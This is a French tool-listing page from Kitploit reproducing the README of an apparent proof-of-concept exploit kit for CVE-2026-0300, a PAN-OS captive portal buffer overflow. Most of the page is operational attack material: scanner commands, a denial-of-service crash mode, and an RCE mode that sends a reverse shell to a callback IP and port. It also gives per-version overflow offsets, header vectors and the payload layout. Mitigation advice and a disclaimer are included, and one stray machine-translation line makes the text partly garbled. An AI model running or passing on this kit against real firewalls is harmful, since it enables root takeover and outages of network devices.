Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
POC-CVE-2026-0300-exploit — Palo Alto - Exploit CVE-2026-0300 | Kitploit
Outils/GitHubGitHub/sam00/poc-cve-2026-0300-exploit
Scanners de VulnérabilitésAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité RéseauTests d'IntrusionGénération de ShellcodeDéveloppement de Charges UtilesExploitation de Binaires
GitHubsam00/poc-cve-2026-0300-exploit

POC-CVE-2026-0300-exploit

Palo Alto - Exploit CVE-2026-0300

12il y a 1 moisPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-0300 — Exploit de débordement de tampon du portail d'authentification User-ID PAN-OS

Critique (CVSS 9.3) — Exécution de code à distance non authentifiée dans le portail captif PAN-OS de Palo Alto Networks

Table des matières

  • Vue d'ensemble
  • Détails de la vulnérabilité
  • Versions concernées
  • Diagrammes d'architecture
  • Structure du projet
  • Installation
  • Utilisation du scanner — Pas à pas
  • Utilisation de l'exploit — Pas à pas
  • Conception de la charge utile
  • Atténuation
  • Avertissement

Vue d'ensemble

CVE-2026-0300 est une vulnérabilité critique de débordement de tampon dans le service User-ID Authentication Portal (également connu sous le nom de portail captif) du logiciel PAN-OS de Palo Alto Networks. Un attaquant non authentifié peut exploiter cette vulnérabilité en envoyant des paquets spécialement conçus pour exécuter du code arbitraire avec les privilèges root sur les pare-feu des séries PA et VM.

Ce dépôt contient une boîte à outils d'exploitation proof-of-concept comprenant :

  • Générateur de charges utiles avec décalages spécifiques aux versions et shellcode de shell inversé x86_64
  • Scanner pour détecter les cibles du portail captif vulnérables
Télécharger l’outil
  • Exploit avec trois modes : détection, crash (DoS) et RCE complet

  • Détails de la vulnérabilité

    ChampValeur
    CVE IDCVE-2026-0300
    SévéritéCRITIQUE
    CVSS 4.09.3 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H)
    CWECWE-787 : Écriture hors limites
    CAPECCAPEC-100 : Débordement de tampons
    ImpactExécution de code à distance non authentifiée (root)
    Statut d'exploitationExploitation limitée observée dans la nature

    Description

    Une vulnérabilité de débordement de tampon dans le service User-ID Authentication Portal du logiciel PAN-OS permet à un attaquant non authentifié d'exécuter du code arbitraire avec les privilèges root sur le pare-feu en envoyant des paquets spécialement conçus. Le service HTTP du portail captif utilise des tampons de pile de taille fixe pour analyser les en-têtes HTTP, qui peuvent être débordés par des valeurs d'en-tête surdimensionnées (Cookie, User-Agent, URI ou corps de requête POST).

    Configuration requise pour l'exposition

    Les deux conditions doivent être réunies pour qu'une cible soit vulnérable :

    1. Portail d'authentification User-ID activé — Device > User Identification > Authentication Portal Settings > Enable Authentication Portal
    2. Profil de gestion d'interface avec pages de réponse — attaché à une interface L3 dans une zone où le trafic non fiable/internet peut entrer

    Référence de l'avis

    • Avis officiel : https://security.paloaltonetworks.com/CVE-2026-0300
    • Recommandations de bonnes pratiques : https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u000000CqbiCAC

    Versions concernées

    Branche PAN-OSVersions vulnérablesVersion corrigée
    10.210.2.7, 10.2.10, 10.2.13, 10.2.16, 10.2.1810.2.7-h34+
    11.111.1.0–11.1.1411.1.15+
    11.211.2.0–11.2.1111.2.12+
    12.112.1.0–12.1.612.1.7+

    Non concernés : Prisma Access, Cloud NGFW, appliances Panorama.


    Diagrammes d'architecture

    Architecture système```

    ┌─────────────────────────────────────────────────────────────────────┐ │ CVE-2026-0300 Exploit Toolkit │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │ │ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │ │ │ Scanner │ │ + Version Check │ │ │ │ │ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │ │ │ │ │ Version │ │ │ │ │ Reports: │ │ Offsets │ │ │ │ │ • Portal detected? │ │ (10.2/11.1/ │ │ │ │ │ • PAN-OS version │ │ 11.2/12.1) │ │ │ │ │ • Vulnerable? │ └──────────────┘ │ │ │ ▼ │ ┌──────────────┐ │ │ │ ┌────────────┐ ┌─────────────────┐ │ │ Shellcode │ │ │ │ │ exploit.py │────▶│ Raw Socket │ │ │ Generator │ │ │ │ │ Exploit │ │ HTTP Delivery │ │ │ (x86_64 rev │ │ │ │ └────────────┘ └─────────────────┘ │ │ shell) │ │ │ │ │ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: detect │ │ │ ROP Chain │ │ │ │ │ │ Safe, non-intrusive │ │ │ (jmp rsp) │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: crash │ │ │ HTTP Request │ │ │ │ │ │ DoS validation │ │ │ Builder │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ └────────────────────┘ │ │ └─▶│ MODE: rce │ │ │ │ Reverse shell │ ┌──────────────────────┐ │ │ └──────────────────────┘ │ ReverseShellListener │ │ │ │ │ (callback receiver) │ │ │ ▼ └──────────────────────┘ │ │ ┌──────────────────┐ │ │ │ Target Firewall │ │ │ │ PAN-OS Captive │ │ │ │ Portal Service │ │ │ └──────────────────┘ │ └─────────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ### Flux du scanner```
    ┌─────────────┐
    │  Start Scan │
    └──────┬──────┘
           │
           ▼
    ┌──────────────────┐     No     ┌─────────────┐
    │ Target reachable?│──────────▶│  Skip port  │
    └──────┬───────────┘            └─────────────┘
           │ Yes
           ▼
    ┌──────────────────┐
    │ Send HTTP GET    │
    │ to common ports  │
    │ (443,80,8080,    │
    │  8443,8843)      │
    └──────┬───────────┘
           │
           ▼
    ┌──────────────────┐     No     ┌─────────────┐
    │ Captive Portal   │──────────▶│ Not exposed │
    │ fingerprint?     │            └─────────────┘
    │ (login.esp,      │
    │  User-ID, PA-,   │
    │  PAN-OS, etc.)   │
    └──────┬───────────┘
           │ Yes
           ▼
    ┌──────────────────┐
    │ Extract PAN-OS   │
    │ version from     │
    │ Server header /  │
    │ response body    │
    └──────┬───────────┘
           │
           ▼
    ┌──────────────────┐     No     ┌─────────────┐
    │ Version in       │──────────▶│ Not         │
    │ vulnerable       │            │ vulnerable  │
    │ range?           │            └─────────────┘
    └──────┬───────────┘
           │ Yes
           ▼
    ┌──────────────────┐
    │ Report:          │
    │ • VULNERABLE     │
    │ • Version        │
    │ • Matched ranges │
    │ • SSL cert info  │
    └──────────────────┘
    

    Flux d'exploitation (Mode RCE)```

    ┌──────────────────────────────────────────────────────────────────┐ │ EXPLOIT EXECUTION FLOW │ │ │ │ 1. Generate Payload │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ [Padding to offset] [Saved FP] [ROP: jmp rsp] │ │ │ │ [NOP sled (128B)] [Shellcode (184B rev shell)] │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 2. Embed in HTTP Header ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ GET / HTTP/1.1 │ │ │ │ Host: target:443 │ │ │ │ Cookie: │ │ │ │ Connection: close │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 3. Start Listener ▼ │ │ ┌──────────────────┐ │ │ │ Listener binds │ ← Must start BEFORE sending payload │ │ │ on callback │ │ │ │ IP:port │ │ │ └──────────────────┘ │ │ │ │ │ 4. Send via SSL/TLS ▼ │ │ ┌──────────────────┐ │ │ │ Raw socket │ → Target Captive Portal service │ │ │ sends request │ │ │ └──────────────────┘ │ │ │ │ │ 5. Buffer Overflow ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Portal parses Cookie header into fixed-size stack buffer│ │ │ │ Buffer overflows → overwrites saved FP + return address │ │ │ │ Return address → ROP gadget (jmp rsp) │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 6. Code Execution ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ jmp rsp → NOP sled → shellcode executes │ │ │ │ socket() → connect(attacker_ip, port) → dup2() → │ │ │ │ execve("/bin/sh") │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 7. Reverse Shell ▼ │ │ ┌──────────────────┐ │ │ │ Listener accepts│ → Attacker has root shell on firewall │ │ │ callback │ │ │ └──────────────────┘ │ └──────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ---
    
    ## Structure du projet```
    POC-CVE-2026-0300-exploit/
    ├── payload_gen.py      # Payload generation (shellcode, ROP, HTTP request builder)
    ├── scan.py             # Vulnerability scanner (detect Captive Portal + version)
    ├── exploit.py          # Exploit orchestrator (detect/crash/rce modes)
    ├── requirements.txt    # Python dependencies
    └── README.md           # This file
    

    Installation```bash

    Clone the repository

    git clone [email protected]:sam00/POC-CVE-2026-0300-exploit.git cd POC-CVE-2026-0300-exploit

    Install dependencies (requests is optional — raw sockets are used by default)

    pip3 install -r requirements.txt

    root@kitploit:~
    **Prérequis**: Python 3.8+, bibliothèque standard uniquement pour les fonctionnalités de base. `requests` est optionnel.
    
    ---
    
    ## Utilisation du scanner — Pas à pas
    
    Le scanner effectue des vérifications sûres et non intrusives pour identifier les cibles PAN-OS Captive Portal vulnérables.
    
    ### Étape 1: Scanner une seule cible```bash
    python3 scan.py --target 192.168.1.1
    

    Le scanner va :

    • Sonder les ports courants (443, 80, 8080, 8443, 8843)
    • Envoyer des requêtes HTTP et vérifier les empreintes de portail captif
    • Extraire la version PAN-OS des en-têtes Server et du corps de la réponse
    • Vérifier si la version se situe dans les plages vulnérables
    • Afficher un rapport avec code couleur

    Étape 2 : Scanner avec un port spécifique```bash

    python3 scan.py --target 192.168.1.1 --port 443

    root@kitploit:~
    ### Étape 3 : Scanner plusieurs cibles depuis un fichier
    
    Créez un fichier `targets.txt` avec une cible par ligne :```
    192.168.1.1
    10.0.0.5
    firewall.example.com
    # Comments are ignored
    

    The input chunk is empty — no content was provided to translate.```bash python3 scan.py --targets targets.txt

    root@kitploit:~
    ### Étape 4 : Enregistrer les résultats au format JSON```bash
    python3 scan.py --target 192.168.1.1 --json scan_results.json
    

    Exemple de sortie du scanner```

    ==================================================================== CVE-2026-0300 VULNERABILITY SCANNER PAN-OS User-ID Authentication Portal Buffer Overflow

    Target: 192.168.1.1 Ports: 443, 80, 8080, 8443, 8843 Time: 2026-08-06T12:00:00+00:00 Portal: DETECTED Status: VULNERABLE

    ─ Port 443 ─ HTTP Status: 200 PAN-OS Version: 11.2.7 Vulnerable: True Fingerprints: login.esp, userId, Authentication Portal, PAN-OS SSL Subject: {'commonName': 'firewall.example.com'}

    root@kitploit:~
    ### Ce que le scanner détecte
    
    | Indicateur | Méthode |
    |-----------|--------|
    | Portail captif exposé | Correspondance d'empreinte HTTP (modèles login.esp, User-ID, PA-, PAN-OS) |
    | Version PAN-OS | Analyse de l'en-tête Serveur, extraction par regex du corps de réponse |
    | Version vulnérable | Comparaison avec les plages de versions affectées par CVE-2026-0300 |
    | Certificat SSL | Sujet/émetteur du certificat pour l'identification de la cible |
    
    ---
    
    ## Utilisation de l'exploit — Étape par étape
    
    L'exploit prend en charge trois modes d'intensité croissante.
    
    ### Mode 1 : Détection (sûr, non intrusif)
    
    Envoie un en-tête modérément surdimensionné et compare la réponse à une requête normale. Ne fait PAS planter le service.```bash
    python3 exploit.py --target 192.168.1.1 --mode detect
    

    Ce qu'il fait:

    • Envoie un en-tête Cookie de 4KB (surdimensionné mais non armé)
    • Envoie une requête normale pour comparaison de référence
    • Signale si la cible répond différemment à une entrée surdimensionnée
    • Indique une vulnérabilité probable si les réponses diffèrent

    Mode 2: Crash (Validation DoS)

    Envoie un payload de débordement de tampon avec une adresse de retour invalide (0x41414141) pour faire planter le service du portail captif.```bash python3 exploit.py --target 192.168.1.1 --mode crash --version 11.2.7

    root@kitploit:~
    **Ce qu'il fait** :
    - Génère un payload de débordement spécifique à la version
    - Écrase l'adresse de retour avec 0x4141414141414141
    - Envoie via le vecteur de débordement choisi (par défaut : en-tête Cookie)
    - Vérifie le crash du service avec une requête de suivi
    - Rapporte si le service est hors ligne après le payload
    
    **Options** :
    - `--vector cookie|ua|uri|post` — Choisir le vecteur de débordement (par défaut : cookie)
    - `--http` — Utiliser HTTP au lieu de HTTPS
    
    ### Mode 3 : RCE complet (Reverse Shell)
    
    Envoie un débordement de tampon avec un payload de reverse shell. Démarre un listener pour recevoir le callback.```bash
    python3 exploit.py --target 192.168.1.1 --mode rce \
        --version 11.2.7 \
        --callback-ip 10.0.0.1 \
        --callback-port 4444
    

    Ce qu'il fait :

    • Génère le payload : padding + ROP gadget (jmp rsp) + NOP sled + shellcode de reverse shell
    • Démarre un écouteur TCP sur l'IP:port de rappel
    • Envoie la requête HTTP armée à la cible
    • Attend le callback du reverse shell
    • Signale le succès si une connexion est reçue

    Arguments requis :

    • --version — Version de PAN-OS ciblée (détermine l'offset du buffer et le gadget ROP)
    • --callback-ip — Votre adresse IP (doit être accessible depuis la cible)
    • --callback-port — Port pour le callback du reverse shell (défaut : 4444)

    Arguments optionnels :

    • --vector cookie|ua|uri|post — Vecteur de débordement (défaut : cookie)
    • --nop-sled 128 — Taille du NOP sled en octets (défaut : 128)
    • --timeout 30 — Délai d'expiration de la connexion et de l'écouteur en secondes
    • --http — Utiliser HTTP au lieu de HTTPS
    • --json report.json — Enregistrer le rapport d'exploit au format JSON

    Exemple de sortie d'exploit (RCE)```

    [] RCE mode — targeting 192.168.1.1:443 (PAN-OS 11.2.7, vector: cookie) [] Callback: 10.0.0.1:4444 [] Payload generated: Vector: cookie Offset: 3072 bytes to RIP Padding: 3072 bytes ROP chain: 8 bytes NOP sled: 128 bytes Shellcode: 184 bytes Total: 3392 bytes SHA256: a1b2c3d4... [] HTTP request built: 3475 bytes [] Starting listener on 10.0.0.1:4444... [] Sending exploit payload... [*] Payload sent. Waiting for callback (timeout: 30s)... [+] REVERSE SHELL RECEIVED from 192.168.1.1!

    ==================================================================== CVE-2026-0300 EXPLOIT REPORT PAN-OS User-ID Authentication Portal Buffer Overflow

    Mode: RCE Target: 192.168.1.1:443 Version: 11.2.7 Vector: cookie Callback: 10.0.0.1:4444 Shell: RECEIVED From: 192.168.1.1:54321

    root@kitploit:~
    ### Versions prises en charge et vecteurs
    
    **Versions** (avec décalages de tampon spécifiques à la version) :
    
    | Version | Décalage du tampon | Gadget ROP | Vecteur par défaut |
    |---------|--------------|------------|----------------|
    | 10.2.7 | 2048 | jmp rsp | cookie |
    | 10.2.10 | 2048 | jmp rsp | cookie |
    | 10.2.13 | 2048 | jmp rsp | cookie |
    | 10.2.16 | 2048 | jmp rsp | cookie |
    | 10.2.18 | 2048 | jmp rsp | cookie |
    | 11.1.0 | 1024 | jmp rsp | cookie |
    | 11.1.4 | 1024 | jmp rsp | ua |
    | 11.1.6 | 1280 | jmp rsp | ua |
    | 11.1.7 | 1280 | jmp rsp | ua |
    | 11.1.10 | 1280 | jmp rsp | ua |
    | 11.1.13 | 1280 | jmp rsp | ua |
    | 11.2.0 | 3072 | jmp rsp | cookie |
    | 11.2.4 | 3072 | jmp rsp | cookie |
    | 11.2.7 | 3072 | jmp rsp | cookie |
    | 11.2.10 | 3072 | jmp rsp | cookie |
    | 12.1.0 | 4096 | jmp rsp | post |
    | 12.1.4 | 4096 | jmp rsp | post |
    
    **Vecteurs** :
    
    | Vecteur | En-tête/Emplacement | Description |
    |--------|----------------|-------------|
    | `cookie` | En-tête Cookie | Débordement via une valeur Cookie surdimensionnée |
    | `ua` | En-tête User-Agent | Débordement via une valeur User-Agent surdimensionnée |
    | `uri` | Chemin de la requête URI | Débordement via un chemin URI surdimensionné |
    | `post` | Corps de la requête POST | Débordement via des données de formulaire POST surdimensionnées |
    
    ---
    
    ## Conception du payload
    
    ### Disposition du débordement de tampon```
    ┌─────────────────────────────────────────────────────────────────┐
    │  HTTP Header Value (Cookie / User-Agent / URI / POST body)     │
    ├──────────┬──────────┬──────────┬──────────┬────────────────────┤
    │  Padding │  Saved   │  ROP     │  NOP     │  Shellcode         │
    │  (to     │  Frame   │  Gadget  │  Sled    │  (reverse shell)   │
    │  offset) │  Pointer │  (jmp    │  (\x90   │                    │
    │          │  (8 B)   │  rsp)    │  * N)    │                    │
    └──────────┴──────────┴──────────┴──────────┴────────────────────┘
               ↑                     ↑
               Buffer overflow       Return address overwritten
               overwrites here       with jmp rsp gadget
    

    Shellcode

    L'exploit utilise un shellcode Linux x86_64 indépendant de la position qui :

    1. Crée une socket TCP (socket(AF_INET, SOCK_STREAM, 0))
    2. Se connecte en retour à l'IP:port de l'attaquant (connect())
    3. Redirige stdin/stdout/stderr vers la socket (dup2())
    4. Lance un shell (execve("/bin/sh", NULL, NULL))

    Taille totale du shellcode : ~184 octets, contient des instructions syscall (\x0f\x05).


    Atténuation

    Actions immédiates

    1. Restreindre l'accès au portail d'authentification User-ID — le limiter aux seules adresses IP internes de confiance
    2. Désactiver les pages de réponse sur les interfaces non fiables (Network > Interface > Advanced > Management Interface Profile)
    3. Désactiver le portail d'authentification s'il n'est pas nécessaire (Device > User Identification > Authentication Portal Settings)
    4. Mettre à niveau PAN-OS vers une version corrigée

    Versions corrigées

    • PAN-OS 10.2 : 10.2.7-h34 et versions ultérieures
    • PAN-OS 11.1 : 11.1.15 et versions ultérieures
    • PAN-OS 11.2 : 11.2.12 et versions ultérieures
    • PAN-OS 12.1 : 12.1.7 et versions ultérieures

    Avertissement

    Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins pédagogiques. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. Toute utilisation non autorisée contre des systèmes de production est illégale et peut enfreindre les lois relatives à la fraude informatique et aux abus.

    Les auteurs déclinent toute responsabilité en cas d'utilisation abusive de cet outil. Suivez toujours les pratiques de divulgation responsable et conformez-vous aux lois et réglementations applicables.